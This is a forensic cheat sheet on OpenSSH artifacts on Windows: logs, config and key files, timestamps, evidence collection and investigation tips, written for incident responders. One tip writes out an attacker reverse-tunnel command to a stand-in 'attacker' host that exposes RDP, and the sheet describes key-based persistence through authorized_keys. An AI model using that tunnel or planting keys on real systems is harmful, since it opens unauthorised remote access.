Network & remote access
OpenSSH Server and Client
OpenSSH on Windows cheat sheet: sshd event log, sshd_config and host keys, authorized_keys persistence, known_hosts, client traces and reverse tunnels.
- Location
- C:\Windows\System32\winevt\Logs\OpenSSH%4Operational.evtx
- Proves
- Accepted and failed SSH logons (user, source IP, auth method) and keys that grant persistent SSH access
- Timestamps
- Event TimeCreated in UTC; file system times of authorized_keys and known_hosts in UTC (NTFS)
- Retention
- OpenSSH/Operational is a small circular log; key files persist until deleted
- Access
- Administrator to read the log and %ProgramData%\ssh; per-user .ssh folders need that user's or admin rights
- Evidence of
- Network & remote accessPersistenceExecution
- Type
- Event log
- Windows
- 1011
- KAPE target
- No dedicated target
- Velociraptor
- No dedicated target
Tools
Compare all tools- EVTX ParserIn browser
- EvtxECmdCLI
- Get-WinEventCLI · built into Windows
- PECmdCLI
- AmcacheParserCLI
- VelociraptorPlatform · open source
What it is
Windows ships Microsoft's port of OpenSSH. The client (ssh.exe, scp.exe, sftp.exe) is installed by default on Windows 10 1803 and later. The server (sshd service) is an optional feature ("OpenSSH Server", available since Windows 10 1809 and Server 2019) that must be added, for example with Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0. It can also be installed from the GitHub Win32-OpenSSH releases into C:\Program Files\OpenSSH. Attackers use it for encrypted remote shells, key-based persistence and tunnels that bypass perimeter controls.
Location
| Item | Location |
|---|---|
| Binaries (in-box) | C:\Windows\System32\OpenSSH\ (ssh.exe, sshd.exe, ssh-agent.exe) |
| Event log | OpenSSH/Operational (OpenSSH%4Operational.evtx) |
| Text log (optional) | %ProgramData%\ssh\logs\sshd.log when SyslogFacility LOCAL0 is set |
| Server config | %ProgramData%\ssh\sshd_config |
| Host keys | %ProgramData%\ssh\ssh_host_*_key (+ .pub), created on first service start |
| Admin authorized keys | %ProgramData%\ssh\administrators_authorized_keys (used for members of Administrators by the default Match Group administrators block) |
| Per-user keys | %USERPROFILE%\.ssh\authorized_keys, known_hosts, id_*, config |
| Default shell | HKLM\SOFTWARE\OpenSSH value DefaultShell (cmd.exe if absent) |
| Firewall rule | OpenSSH-Server-In-TCP (TCP 22), created by the optional feature |
What it proves
- Server: which account logged on over SSH, from which IP and port, with which method (password or publickey), and failed attempts. Security 4624/4625 events add the logon session.
- Persistence: a public key in
administrators_authorized_keysor a user'sauthorized_keysgrants access without a password, surviving password resets. - Client use:
known_hostslists hosts this user connected to (hashed only ifHashKnownHostswas set). Execution ofssh.exeappears in Prefetch, Amcache and BAM.
It does not record commands typed in the SSH session. Use process creation (4688, Sysmon event 1) with sshd.exe as parent, and PowerShell logs.
Key fields
| Source | Evidence | Notes |
|---|---|---|
| OpenSSH/Operational | sshd: Accepted password for <user> from <ip> port <n> ssh2 | Also Accepted publickey ... <key type> SHA256:<fingerprint> |
| OpenSSH/Operational | Failed password for ..., Invalid user ..., Disconnected from ... | Brute force and enumeration |
| OpenSSH/Operational | Event IDs | Messages share generic IDs, so filter on message text rather than ID |
| Security 4624 | Logon by sshd.exe | Logon type depends on auth method and version; type 8 (NetworkCleartext) is often reported for password logons, key-based logons can look different. Validate on a test host |
| System 7045 / 7036 | sshd service installed / started | Dates the feature's first use |
authorized_keys | Key type, base64 key, trailing comment | The comment (for example user@kali) is attacker-controlled but often revealing |
Timestamps
| Timestamp | Meaning | Pitfalls |
|---|---|---|
Event TimeCreated | Logon or failure time, UTC | Small log, older events may be gone |
authorized_keys $SI/$FN times | Key file created or modified | Compare $SI and $FN in the $MFT for timestomping |
known_hosts modification | Last time a new host key was added | Not updated for every connection |
| Host key creation | First start of sshd | Good proxy for server installation date |
Retention and clearing
- The OpenSSH/Operational channel is small and circular; on an exposed server, brute force noise can push out the successful logon within days.
- Keys stay until deleted. Deletion or edits may remain visible in the USN journal and volume shadow copies.
- Removing the optional feature does not necessarily remove
%ProgramData%\ssh.
Collection
wevtutil epl OpenSSH/Operational E:\case\OpenSSH-Operational.evtx
robocopy C:\ProgramData\ssh E:\case\ProgramData_ssh /E /COPY:DAT
Get-ChildItem C:\Users\*\.ssh -Force -Recurse | Select FullName, Length, CreationTimeUtc, LastWriteTimeUtc
Get-WindowsCapability -Online | Where-Object Name -like 'OpenSSH*'
Get-Service sshd, ssh-agent
Copy private host keys only when the case requires it and handle them as sensitive material.
Parsing tools
- EvtxECmd, Get-WinEvent, Chainsaw: OpenSSH, Security and System events.
- PECmd and AmcacheParser: client execution (
SSH.EXE,PLINK.EXE). - Velociraptor: fleet-wide search for
authorized_keysfiles and sshd logs. - Any text editor for
sshd_config,known_hostsand key files.
Investigation tips
- Diff
sshd_configagainst the default:PasswordAuthenticationorPubkeyAuthenticationchanges,AuthorizedKeysFilepointing elsewhere,GatewayPorts yesorAllowTcpForwardingenabled. - Reverse tunnels:
ssh.exe -R <port>:localhost:3389 user@attackerexposes RDP through an outbound connection. Look for-R,-L,-D,-Nin command lines, then look for RDP logons from127.0.0.1or::1in RDP connection logs.plink.exeis used the same way. - An unexpected
sshdinstall on a workstation is itself a finding: date it with System 7045, host key creation times and the firewall rule. - Correlate client
known_hostsentries with network evidence (SRUM, firewall logs, DNS) to identify lateral movement targets.
Related artifacts
- Windows event logs (EVTX)Windows event log cheat sheet: EVTX locations, must-know event IDs for logons, processes, services and log clearing, retention, audit policy and parsing tools.
- RDP connection artifactsRDP forensics cheat sheet: target-side event IDs (4624 type 10, 1149, 21–25, 131) and source-side traces (Terminal Server Client keys, Default.rdp, 1024).
- Windows Firewall LogsWindows Firewall cheat sheet: pfirewall.log format and defaults, rule change events 2004-2006, WFP audit 5156/5157, rules in the registry and netsh abuse.
- Windows ServicesWindows services cheat sheet: Services key values (ImagePath, Start, Type, ServiceDll), 7045 and 4697 install events, PsExec traces and pitfalls.
- Prefetch Files (.pf)Windows Prefetch cheat sheet: .pf location per version, run count, the last eight run times, referenced files, retention limits and how to parse.
- Remote access tools (RMM)RMM and remote access tool cheat sheet: AnyDesk, TeamViewer, ScreenConnect and more, their log files, connection IDs, IPs and timestamps, and how to hunt abuse.
Glossary terms
- Logon typeThe numeric field in logon events 4624 and 4625 that says how an account logged on: console, network, service, RDP, cached and more.
- Lateral movementAn attacker moving from one compromised host to others in the network, using RDP, SMB, PsExec, WMI, WinRM or remote tasks and services.
- PersistenceMechanisms that let malware or an attacker survive reboots and logoffs, such as Run keys, services, scheduled tasks or WMI subscriptions.
- Windows event IDThe number identifying an event type within a given provider; it only has meaning when paired with its provider and log channel.
Guides
- Lateral Movement Forensics: RDP, PsExec, WMI and WinRMMap source and destination artifacts for RDP, PsExec, SMB, WMI, WinRM, scheduled tasks and DCOM, then build a cross-host lateral movement graph.
- Hunting Windows Persistence: Registry, Tasks, WMI and MoreFind attacker persistence on Windows: Run keys, services, scheduled tasks, WMI, Winlogon, IFEO, COM hijacking and BITS, mapped to MITRE ATT&CK, with tools.
- Evidence of Execution: Prefetch, Amcache, BAM and MoreProve a program ran on Windows, not just existed: Prefetch, ShimCache, Amcache, BAM, UserAssist, SRUM, PCA, WER and 4688 compared, with parsing commands.